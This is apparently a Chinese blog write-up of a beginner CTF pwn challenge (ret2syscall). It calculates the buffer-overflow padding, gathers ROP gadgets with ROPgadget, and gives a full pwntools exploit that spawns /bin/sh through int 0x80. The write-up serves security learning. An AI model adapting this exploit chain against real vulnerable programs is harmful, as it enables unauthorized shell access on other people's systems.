PWN GADGET 入门

PWN GADGET 入门

checksec

在这里插入图片描述

拖入相应的IDA

在这里插入图片描述

playload构造

  1. 漏洞点 gets()

  2. 无canary,开启栈保护(NX ENABLE),无法直接将shellcode写入栈,需要gadget

  3. 计算padding

    1. IDA反编译直接查看

      距离ebp为0x64,根据返回地址在ebp下一个字长处,所以总padding为0x64+0x4

      但是失败。IDA有坑!

    2. GDB查看栈

      填充0x86个a
      在这里插入图片描述

      使用gdb.attach()下断点至gets之后查看栈弹出。
      在这里插入图片描述
      stack 100 查看栈
      在这里插入图片描述
      所以 0x68 + 0x2

    3. cyclic计算

      payload = cyclic(0x200)

      GDB 调试,c至出错,找到对应字符串

      cyclic -l 'aaab'

寻找gadget

   #利用命令
   ROPgadget --binary ret2syscall  --ropchain   #自动生成ROP
   
   ROPgadget --binary [file] --only "pop|ret"  #单次查询
   
   ROPgadget --binary ret2syscall > gadgets  #输出至文件,适合多次
   
   grep "pop eax ; ret" gadgets #加空格
   
   grep -P "pop ecx .* ret" gadgets #正则
   0x08049421  : int 0x80
   
   0x080BE408    :'/bin/sh'
   
   0
   
   0x0806eb91 : pop ecx ; pop ebx ; ret
   
   0
   
   0x0806eb6a : pop edx ; ret
   
   0xb
   
   0x080bb196 : pop eax ; ret

最终exp

# -*- coding:utf-8 -*-
from  pwn  import *

context.terminal=["tmux","sp","-h"]   #tmux配置

io = process("./ret2syscall")

io.recvuntil("What do you plan to do?\n")

payload = "a"*(0x68+0x2) + p32(0x080bb196)+p32(0xb)+p32(0x0806eb6a)+p32(0)+p32(0x0806eb91)+p32(0)+p32(0x080BE408)+p32(0x08049421)

#payload = cyclic(0x200)

#payload = flat([])

gdb.attach(io,"b *0x08048EA0")  

io.sendline(payload)

io.interactive()

PWN YES!

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值